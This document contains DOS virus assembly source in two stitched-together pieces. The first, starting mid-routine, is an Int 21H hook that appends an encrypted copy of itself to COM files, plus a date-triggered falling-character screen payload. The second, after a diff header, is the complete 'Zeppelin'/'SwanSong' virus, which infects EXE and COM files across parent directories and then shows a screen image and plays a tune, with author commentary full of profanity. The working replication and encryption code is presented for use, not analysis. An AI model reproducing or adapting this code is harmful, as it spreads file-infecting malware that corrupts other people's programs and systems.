MOV PATHSG,DS ; Save pathname segment
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV AX,3D00H ; Open handle function
INT 21H ; DOS service
JB I_2110 ; Branch if error
MOV BX,AX ; Move file handle
MOV AX,5700H ; Get file date and time function
INT 21H ; DOS service
MOV F_DATE,DX ; Save file date
MOV F_TIME,CX ; Save file time
MOV AH,3FH ; Read handle function
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV DX,OFFSET PROG_1 ; \ First three bytes of program
MOV CX,3 ; /
INT 21H ; DOS service
JB I_2110 ; Branch if error
CMP AX,CX ; Correct length read?
JNE I_2110 ; Branch if error
MOV AX,4202H ; Move file pointer (EOF) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV F_SIZ1,AX ; File size - low word
MOV F_SIZ2,DX ; File size - high word
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
CMP PROG_1,5A4DH ; Is it an EXE file?
JNE I_2108 ; Branch if not
JMP I_2124 ; Dont infect
I_2108: CMP F_SIZ2,0 ; File size - high word
JA I_2110 ; Branch if file too big
CMP F_SIZ1,MAXLEN ; Maximum file size?
JBE I_2112 ; Branch if file not too big
I_2110: JMP I_2124 ; Dont infect
I_2112: CMP BYTE PTR PROG_1,0E9H ; Does program start with a branch
JNE I_2114 ; Branch if not
MOV AX,F_SIZ1 ; Get file size - low word
ADD AX,WORD PTR JMPADR ; Convert to infected offset
CMP AX,PROG_1+1 ; Is it the same
JE I_2110 ; Branch if already infected
I_2114: MOV AX,4300H ; Get file attributes function
LDS DX,F_PATH ; Pathname pointer
INT 21H ; DOS service
JB I_2110 ; Branch if error
MOV F_ATTR,CX ; Save file attributes
XOR CL,20H ; Change archive bit
TEST CL,27H ; Are there any attributes to change
JZ I_2116 ; Branch if not
MOV AX,4301H ; Set file attributes function
XOR CX,CX ; No attributes
INT 21H ; DOS service
JB I_2110 ; Branch if error
I_2116: MOV AX,3D02H ; Open handle (R/W) function
INT 21H ; DOS service
JB I_2110 ; Branch if error
MOV BX,AX ; Move file handle
MOV AX,4202H ; Move file pointer (EOF) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
CALL CPYVIR ; Copy virus to program
JNB I_2118 ; Branch if no error
MOV AX,4200H ; Move file pointer (Start) function
MOV CX,F_SIZ2 ; File size - high word
MOV DX,F_SIZ1 ; File size - low word
INT 21H ; DOS service
MOV AH,40H ; Write handle function
XOR CX,CX ; Zero length (reset length}
INT 21H ; DOS service
JMP I_2120 ; Reset file details
I_2118: MOV AX,4200H ; Move file pointer (Start) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
JB I_2120 ; Branch if error
MOV AX,F_SIZ1 ; Get file size - low word
ADD AX,0FFFEH ; Convert to jump offset
MOV JUMP_2,AX ; Store in jump instruction
MOV AH,40H ; Write handle function
MOV DX,OFFSET JUMP_1 ; Address to jump instruction
MOV CX,3 ; Length of jump instruction
INT 21H ; DOS service
I_2120: MOV AX,5701H ; Set file date and time function
MOV DX,F_DATE ; Get old file date
MOV CX,F_TIME ; Get old file time
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
MOV CX,F_ATTR ; Get old file attributes
TEST CL,7 ; System, read only or hidden?
JNZ I_2122 ; Branch if yes
TEST CL,20H ; Archive?
JNZ I_2124 ; Branch if yes
I_2122: MOV AX,4301H ; Set file attributes function
LDS DX,F_PATH ; Pathname pointer
INT 21H ; DOS service
I_2124: POP DS
POP ES
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF
JMP I_2102 ; Original interrupt 21H
; Create random number
RNDNUM: PUSH DS
PUSH CS ; \ Set DS to CS
POP DS ; /
PUSH BX
PUSH CX
PUSH DX
PUSH AX ; Save multiplier
MOV CX,7 ; Seven words to move
MOV BX,OFFSET RANDOM+14 ; Last word of randomiser
PUSH [BX] ; Save last word
RND010: MOV AX,[BX-2] ; Get previous word
ADC [BX],AX ; Add to current word
DEC BX ; \ Address previous word
DEC BX ; /
LOOP RND010 ; Repeat for each word
POP AX ; Retrieve last word
ADC [BX],AX ; Add to first word
MOV DX,[BX] ; Get result
POP AX ; Recover multiplier
OR AX,AX ; Is there a multiplier?
JZ RND020 ; Branch if not
MUL DX ; Multiply random number
RND020: MOV AX,DX ; Move result
POP DX
POP CX
POP BX
POP DS
RET
; Copy system clock
GETCLK: PUSH DS
PUSH ES
PUSH SI
PUSH DI
PUSH CX
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV CX,0040H ; \ Set DS to system RAM
MOV DS,CX ; /
MOV DI,OFFSET RANDOM ; Randomizer work area
MOV SI,006CH ; Address system clock
MOV CX,8 ; Eight bytes to copy
CLD
REPZ MOVSW ; Copy system clock
POP CX
POP DI
POP SI
POP ES
POP DS
RET
; Get character and attributes
ASSUME DS:CODE
GETCHA: PUSH SI
PUSH DS
PUSH DX
MOV AL,DH ; Get row number
MUL NUMCOL ; Number of visible columns
MOV DH,0 ; Clear top of register
ADD AX,DX ; Add column number
SHL AX,1 ; Multiply by two
ADD AX,VDURAM ; Add VDU display start address
MOV SI,AX ; Move character pointer
TEST C80_SW,0FFH ; Test 80 column text switch
MOV DS,RAM_SG ; Video RAM segment
JZ GTC030 ; Branch if switch off
MOV DX,03DAH ; VDU status register
CLI
GTC010: IN AL,DX ; Get VDU status
TEST AL,8 ; Is it frame flyback time
JNZ GTC030 ; Branch if yes
TEST AL,1 ; Test toggle bit
JNZ GTC010 ; Branch if on
GTC020: IN AL,DX ; Get VDU status
TEST AL,1 ; Test toggle bit
JZ GTC020 ; Branch if off
GTC030: LODSW ; Load character and attribute
STI
POP DX
POP DS
POP SI
RET
; Store character and attributes
STOCHA: PUSH DI
PUSH ES
PUSH DX
PUSH BX
MOV BX,AX
MOV AL,DH ; Get row number
MUL NUMCOL ; Number of visible columns
MOV DH,0 ; Clear top of register
ADD AX,DX ; Add column number
SHL AX,1 ; Multiply by two
ADD AX,VDURAM ; Add VDU display start address
MOV DI,AX ; Move character pointer
TEST C80_SW,0FFH ; Test 80 column text switch
MOV ES,RAM_SG ; Video RAM segment
JZ STO030 ; Branch if switch off
MOV DX,03DAH ; VDU status register
CLI
STO010: IN AL,DX ; Get VDU status
TEST AL,8 ; Is it frame flyback time
JNZ STO030 ; Branch if yes
TEST AL,1 ; Test toggle bit
JNZ STO010 ; Branch if on
STO020: IN AL,DX ; Get VDU status
TEST AL,1 ; Test toggle bit
JZ STO020 ; Branch if off
STO030: MOV AX,BX
STOSB ; Store character and attribute
STI
POP BX
POP DX
POP ES
POP DI
RET
; Delay loop
DELAY: PUSH CX
DEL010: PUSH CX
MOV CX,LOOPCT ; Get timed loop count
DEL020: LOOP DEL020
POP CX
LOOP DEL010
POP CX
RET
; Toggle speaker drive
CH_SND: PUSH AX
IN AL,61H ; Get port B
XOR AL,2 ; Toggle speaker drive
AND AL,0FEH ; Switch off speaker modulate
OUT 61H,AL ; Rewrite port B
POP AX
RET
; Is character 0, 32 or 255?
IGNORE: CMP AL,0 ; Is it a zero?
JE IGN010 ; Branch if yes
CMP AL,20H ; Is it a space?
JE IGN010 ; Branch if yes
CMP AL,0FFH ; Is it FF?
JE IGN010 ; Branch if yes
CLC
RET
IGN010: STC
RET
; Graphic display character
GRAPHD: CMP AL,0B0H ; Is it below 176?
JB GRA010 ; Branch if yes
CMP AL,0DFH ; Is it above 223?
JA GRA010 ; Branch if yes
STC
RET
GRA010: CLC
RET
; Time one clock cycle
TIMCYC: PUSH DS
MOV AX,0040H ; \ Set DS to system RAM
MOV DS,AX ; /
STI
ASSUME DS:RAM
MOV AX,BW046C ; Get low word of system clock
TIM010: CMP AX,BW046C ; Has clock changed?
JE TIM010 ; Branch if not
XOR CX,CX ; Clear register
MOV AX,BW046C ; Get low word of system clock
TIM020: INC CX ; Increment count
JZ TIM040 ; Branch if now zero
CMP AX,BW046C ; Has clock changed?
JE TIM020 ; Branch if not
TIM030: POP DS
ASSUME DS:NOTHING
MOV AX,CX ; Transfer count
XOR DX,DX ; Clear register
MOV CX,000FH ; \ Divide by 15
DIV CX ; /
MOV LOOPCT,AX ; Save timed loop count
RET
TIM040: DEC CX ; Set to minus one
JMP SHORT TIM030
; Cascade display routine
ASSUME DS:CODE
DISPLY: MOV NUMROW,18H ; Number of display rows
PUSH DS
MOV AX,0040H ; \ Set DS to system RAM
MOV DS,AX ; /
ASSUME DS:RAM
MOV AX,BW044E ; VDU display start address
POP DS
ASSUME DS:CODE
MOV VDURAM,AX ; Save VDU display start address
MOV DL,0FFH
MOV AX,1130H ; Get character generator information
MOV BH,0 ; Int 1FH vector
PUSH ES
PUSH BP
INT 10H ; VDU I/O
POP BP
POP ES
CMP DL,0FFH ; Is register unchanged?
JE DSP010 ; Branch if yes
MOV NUMROW,DL ; Number of display rows (EGA)
DSP010: MOV AH,0FH ; Get VDU parameters
INT 10H ; VDU I/O
MOV NUMCOL,AH ; Save number of columns
MOV C80_SW,0 ; Set off 80 column text switch
MOV RAM_SG,0B000H ; Video RAM segment - Mono
CMP AL,7 ; Mode 7?
JE DSP040 ; Branch if yes
JB DSP020 ; Branch if less
JMP DSP130 ; Switch off speaker and return
DSP020: MOV RAM_SG,0B800H ; Video RAM segment
CMP AL,3 ; Display mode 3?
JA DSP040 ; Branch if above
CMP AL,2 ; Display mode 2?
JB DSP040 ; Branch if below
MOV C80_SW,1 ; Set on 80 column text switch
MOV AL,NUMROW ; Number of display rows
INC AL ; Number, not offset
MUL NUMCOL ; Number of visible columns
MOV NUMPOS,AX ; Save number of display positions
MOV AX,RANPOS ; Get number of lines to affect
CMP AX,NUMPOS ; Number of display positions
JBE DSP030 ; Branch if within range
MOV AX,NUMPOS ; Get number of display positions
DSP030: CALL RNDNUM ; Create random number
INC AX ; Add to random number
MOV SI,AX ; Use as count
DSP040: XOR DI,DI ; Set second count to zero
DSP050: INC DI ; Increment second count
MOV AX,NUMPOS ; Get number of display positions
SHL AX,1 ; Multiply by two
CMP DI,AX ; Has second count reached this?
JBE DSP060 ; Branch if not
JMP DSP130 ; Switch off speaker and return
DSP060: OR SWITCH,2 ; Set on switch 2
MOV AL,NUMCOL ; \ Number of visible columns
MOV AH,0 ; / is upper limit
CALL RNDNUM ; Create random number
MOV DL,AL ; Random column number
MOV AL,NUMROW ; \ Number of display rows
MOV AH,0 ; / is upper limit
CALL RNDNUM ; Create random number
MOV DH,AL ; Random row number
CALL GETCHA ; Get character and attributes
CALL IGNORE ; Is character 0, 32 or 255?
JB DSP050 ; Branch if yes
CALL GRAPHD ; Is it a graphic display character
JB DSP050 ; Branch if yes
MOV CURCHA,AL ; Save current character
MOV CURATT,AH ; Save current attributes
MOV CL,NUMROW ; Number of display rows
MOV CH,0 ; Column zero
DSP070: INC DH ; Next row
CMP DH,NUMROW ; Was that the last row?
JA DSP110 ; Branch if yes
CALL GETCHA ; Get character and attributes
CMP AH,CURATT ; Are attributes the same?
JNE DSP110 ; Branch if not
CALL IGNORE ; Is character 0, 32 or 255?
JB DSP090 ; Branch if yes
DSP080: CALL GRAPHD ; Is it a graphic display character
JB DSP110 ; Branch if yes
INC DH ; Next row
CMP DH,NUMROW ; Was that the last row?
JA DSP110 ; Branch if yes
CALL GETCHA ; Get character and attributes
CMP AH,CURATT ; Are attributes the same?
JNE DSP110 ; Branch if not
CALL IGNORE ; Is character 0, 32 or 255?
JNB DSP080 ; Branch if not
CALL CH_SND ; Toggle speaker drive
DEC DH ; Previous row
CALL GETCHA ; Get character and attributes
MOV CURCHA,AL ; Save current character
INC DH ; Next row
DSP090: AND SWITCH,0FDH ; Set off switch 2
DEC DH ; Previous row
MOV AL,20H ; Replace character with space
CALL STOCHA ; Store character and attributes
INC DH ; Next row
MOV AL,CURCHA ; Get current character
CALL STOCHA ; Store character and attributes
JCXZ DSP100 ; Branch if end of count
CALL DELAY ; Delay loop
DEC CX ; Decrement count
DSP100: JMP SHORT DSP070
DSP110: TEST SWITCH,2 ; Test switch 2
JZ DSP120 ; Branch if off
JMP DSP050
DSP120: CALL CH_SND ; Toggle speaker drive
DEC SI ; Subtract from count
JZ DSP130 ; Switch off speaker and return
JMP DSP040
; Switch off speaker and return
DSP130: IN AL,61H ; Get port B
AND AL,0FCH ; Switch off speaker
OUT 61H,AL ; Rewrite port B+
RET
; Interrupt 1CH routine
ASSUME DS:NOTHING
INT_1C: TEST SWITCH,9 ; No display or already active?
JNZ I_1C40 ; Branch if either are on
OR SWITCH,1 ; Set on Int 1CH active switch
DEC I1CCNT ; Subtract from Int 1CH count
JNZ I_1C30 ; Branch if not zero
PUSH DS
PUSH ES
PUSH CS ; \ Set DS to CS
POP DS ; /
PUSH CS ; \ Set ES to CS
POP ES ; /
ASSUME DS:CODE
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH BP
MOV AL,20H ; \ Signal end of interrupt
OUT 20H,AL ; /
MOV AX,I1CMAX ; Get Int 1CH random no maximum
CMP AX,0438H ; Is it 1080 or above
JNB I_1C10 ; Branch if yes
MOV AX,0438H ; Upper limit - 1080
I_1C10: CALL RNDNUM ; Create random number
INC AX ; Add to random number
MOV I1CCNT,AX ; Reset Int 1CH count
MOV I1CMAX,AX ; Reset Int 1CH random no maximum
CALL DISPLY ; Cascade display routine
MOV AX,3 ; Upper limit - 3
CALL RNDNUM ; Create random number
INC AX ; Add to random number
MUL RANPOS ; Multiply by num of lines to affect
JNB I_1C20 ; Is result more than a word?
MOV AX,-1 ; Set to maximum
I_1C20: MOV RANPOS,AX ; Save number of lines to affect
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
ASSUME DS:NOTHING
I_1C30: AND SWITCH,0FEH ; Set off Int 1CH active switch
I_1C40: JMP I1CBIO ; Branch to original int 1CH
; Interrupt 28H routine
INT_28: TEST SWITCH,8 ; Test No display switch
JZ I_2830 ; Branch if not
PUSH AX
PUSH CX
PUSH DX
MOV AH,2AH ; Get date function
INT 21H ; DOS service
CMP CX,07C4H ; Year 1988?
JB I_2820 ; Not yet - do nothing
JA I_2810 ; After 1988
CMP DH,0AH ; October?
JB I_2820 ; Not yet - do nothing
I_2810: AND SWITCH,0F7H ; Set off No display switch
I_2820: POP DX
POP CX
POP AX
I_2830: JMP I28BIO ; Branch to original int 28H
; Copy virus to program
CPYVIR: PUSH ES
PUSH BX
MOV AH,48H ; Allocate memory function
MOV BX,006BH ; Length of virus
INT 21H ; DOS service
POP BX
JNB CPY020 ; Branch if no error
CPY010: STC
POP ES
RET
CPY020: MOV DB0100,1 ; Set encryption indicator
MOV ES,AX ; Set target segment to allocated
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
XOR DI,DI ; Start of allocated
MOV SI,OFFSET DB0100 ; Start of virus
MOV CX,VIRLEN ; Length of virus
CLD
REPZ MOVSB ; Copy virus
MOV DI,0023H ; Start of area to encrypt
MOV SI,OFFSET BP0030 ; Address of area
ADD SI,F_SIZ1 ; Length of target file
MOV CX,OFFSET ENDADR-BP0030 ; Length to encrypt
CPY030: XOR ES:[DI],SI ; \ Encrypt
XOR ES:[DI],CX ; /
INC DI ; \ Next address
INC SI ; /
LOOP CPY030 ; Repeat for all area
MOV DS,AX ; Allocated area segment
MOV AH,40H ; Write handle function
XOR DX,DX ; From start
MOV CX,VIRLEN ; Length of virus
INT 21H ; DOS service
PUSHF
PUSH AX
MOV AH,49H ; Free allocated memory function
INT 21H ; DOS service
POP AX
POPF
PUSH CS ; \ Set DS to CS
POP DS ; /
JB CPY010 ; Branch if error
CMP AX,CX ; Correct length written?
JNE CPY010 ; Branch if error
POP ES
CLC
CPY040: RET
ENDADR EQU $
CODE ENDS
END START

@@ -0,0 +1,664 @@
;**************************************************************************
;
;The Zeppelin Virus September 25, 1992
;[MPC] Generated...
;Created by... pAgE
;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made!
;Incidently. He died on this date in 1980! Got drunk and strangled on a
;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL...
;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of
;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS
;ThAt yA'll uSe, ArE a KicK....
;
;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS...
; GeT'S in ThE bl00d DoEsn't it?------->^^^^^
;
;Here it is...
;It's not much, but in the hands off a knowledgeable Vx WRiTeR.......
;I'll keep workin' on it and see what I can do. In the mean time, have fun!
;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF.
;
;But...If that's not good enough, well then - hEy! - BLoW mE!
;
;***************************************************************************
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'IS' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov di,offset startencrypt ; start of decryption
mov si,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,35h ; xor word ptr cs:[di], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc di ; calculate new decryption location
inc di
dec si ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next:
pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],5 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
;mov ah,2ah ; Get current date
;int 21h
;cmp dh,9 ; Check month
;jb act_two
;cmp dl,25 ; Check date
;jb act_two
;cmp cx,1992 ; Check year
;jb act_two
;cmp al,0 ; Check date of week
;jb activate
;mov ah,2ch ; Get current time
;int 21h
;cmp dl,50 ; Check the percentage
jbe activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 27h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
exe_mask db '*.exe',0
com_mask db '*.com',0
stacksave2 dd ?
activate proc far
start:
jmp short loc_1
db 90h
data_2 db 0
data_3 dw 216h
db 2
data_4 dw 0
db 'Ripped this Motherfucker off'
db 1Ah
data_5 db 'SHIT!!! Wont work....', 0Dh, 0Ah
db '$'
loc_1:
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the screen, too.
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
; ah=columns on screen
mov bx,0B800h
cmp al,2
je loc_2 ; Jump if equal
cmp al,3
je loc_2 ; Jump if equal
mov data_2,0
mov bx,0B000h
cmp al,7
je loc_2 ; Jump if equal
mov dx,offset data_5 ; ('Unsupported Video Mode')
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
retn
loc_2:
mov es,bx
mov di,data_4
mov si,offset data_6
mov dx,3DAh
mov bl,9
mov cx,data_3
cld ; Clear direction
xor ax,ax ; Zero register
locloop_4:
lodsb ; String [si] to al
cmp al,1Bh
jne loc_5 ; Jump if not equal
xor ah,80h
jmp short loc_20
loc_5:
cmp al,10h
jae loc_8 ; Jump if above or =
and ah,0F0h
or ah,al
jmp short loc_20
loc_8:
cmp al,18h
je loc_11 ; Jump if equal
jnc loc_12 ; Jump if carry=0
sub al,10h
add al,al
add al,al
add al,al
add al,al
and ah,8Fh
or ah,al
jmp short loc_20
loc_11:
mov di,data_4
add di,data_1e
mov data_4,di
jmp short loc_20
loc_12:
mov bp,cx
mov cx,1
cmp al,19h
jne loc_13 ; Jump if not equal
lodsb ; String [si] to al
mov cl,al
mov al,20h ; ' '
dec bp
jmp short loc_14
loc_13:
cmp al,1Ah
jne loc_15 ; Jump if not equal
lodsb ; String [si] to al
dec bp
mov cl,al
lodsb ; String [si] to al
dec bp
loc_14:
inc cx
loc_15:
cmp data_2,0
je loc_18 ; Jump if equal
mov bh,al
locloop_16:
in al,dx ; port 3DAh, CGA/EGA vid status
rcr al,1 ; Rotate thru carry
jc locloop_16 ; Jump if carry Set
loc_17:
in al,dx ; port 3DAh, CGA/EGA vid status
and al,bl
jnz loc_17 ; Jump if not zero
mov al,bh
stosw ; Store ax to es:[di]
loop locloop_16 ; Loop if cx > 0
jmp short loc_19
loc_18:
rep stosw ; Rep when cx >0 Store ax to es:[di]
loc_19:
mov cx,bp
loc_20:
jcxz loc_new_25 ; Jump if cx=0
loop locloop_4 ; Loop if cx > 0
loc_new_25:
mov si,offset data00 ; SI points to data
get_note: mov bx,[si] ; Load BX with the frequency
or bx,bx ; Is BX equal to zero?
je play_tune_done ; If it is we are finished
mov ax,034DDh ;
mov dx,0012h ;
cmp dx,bx ;
jnb new_note ;
div bx ; This bit here was stolen
mov bx,ax ; from the Turbo C++ v1.0
in al,061h ; library file CS.LIB. I
test al,3 ; extracted sound() from the
jne skip_an_or ; library and linked it to
or al,3 ; an .EXE file, then diassembled
out 061h,al ; it. Basically this turns
mov al,0B6h ; on the speaker at a certain
out 043h,al ; frequency.
skip_an_or: mov al,bl ;
out 042h,al ;
mov al,bh ;
out 042h,al ;
mov bx,[si + 2] ; BX holds duration value
xor ah,ah ; BIOS get time function
int 1Ah
add bx,dx ; Add the time to the length
wait_loop: int 1Ah ; Get the time again (AH = 0)
cmp dx,bx ; Is the delay over?
jne wait_loop ; Repeat until it is
in al,061h ; Stolen from the nosound()
and al,0FCh ; procedure in Turbo C++ v1.0.
out 061h,al ; This turns off the speaker.
new_note: add si,4 ; SI points to next note
jmp short get_note ; Repeat with the next note
play_tune_done:
activate endp
jmp exit_virus
creator db '[pAgE]',0 ; YOU REALLY SHOULD TAKE THIS
virusname db '[SwanSong]',0 ; BULLSHIT OUT OF HERE!!!
author db 'pAgE',0 ; WHY NOT HOLD UP A SIGN!!!
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,20h ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA
cmp ax,(heap-decrypt) ; Is it too small?
jb find_next
mov bx,word ptr [bp+buffer+1] ;get jmp location
add bx,(heap-decrypt+1) ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax,(heap-decrypt) ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,(heap-decrypt) ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
data00 dw 2000,8,2500,8,2000,14,2500,14
dw 2500,14,3000,4,4000,24,3500,12,4000,6
dw 3500,12,4000,4,4500,10,5000,4
dw 5500,15,3000,8,3500,20,3000,8,3500,50
dw 2000,8,2500,8,2000,14,2500,14
dw 2500,14,3000,4,4000,24,3500,12,4000,6
dw 3500,12,4000,4,4500,10,5000,4
dw 5500,15,3000,8,3500,20,3000,8,3500,50
dw 2000,8,2500,8,2000,14,2500,14
dw 2500,14,3000,4,4000,24,3500,12,4000,6
dw 3500,12,4000,4,4500,10,5000,4
dw 5500,15,3000,8,3500,20,3000,8,3500,50
dw 0
data_6 db 9
db 10h, 19h, 45h, 18h, 19h, 1Bh
db 01h,0D5h,0CDh,0CDh,0B8h, 04h
db 0F3h, 09h,0A9h, 04h, 9Dh
db 9
db 0AAh, 04h,0F2h, 01h,0D5h,0CDh
db 0CDh,0B8h, 19h, 1Ch, 18h, 19h
db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh
db 20h, 09h, 5Ch, 04h,0F6h, 09h
db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah
db 0CDh,0B8h, 19h, 13h, 18h, 19h
db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh
db 19h, 03h, 0Fh,0D2h,0B7h, 19h
db 04h,0D6h, 1Ah, 03h,0C4h,0B7h
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
db 0B7h, 19h, 04h, 01h,0D4h, 1Ah
db 0Eh,0CDh,0BBh, 19h, 03h, 18h
db 19h, 03h,0BAh, 19h, 12h, 07h
